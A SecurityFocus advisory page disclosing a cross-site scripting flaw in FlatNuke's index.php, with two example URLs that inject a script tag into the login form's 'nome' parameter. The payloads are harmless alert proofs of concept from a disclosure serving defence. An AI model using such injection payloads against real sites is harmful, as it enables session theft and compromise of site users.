Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

FlatNuke Index.PHP Cross-Site Scripting Vulnerability

No exploit is required.

Examples have been provided:

http://www.example.com/?op=login&nome=<script>alert('LOL');</script>&regpass=1&reregpass=1&anag=1&email=1&homep=http%3A%2F%2F&prof=1&prov=1&ava=1&url_avatar=1&firma=1

http://www.example.com/?op=login&from=home&nome=<script>alert('LOL');</script>&logpassword=1







 

Privacy Statement
Copyright 2009, SecurityFocus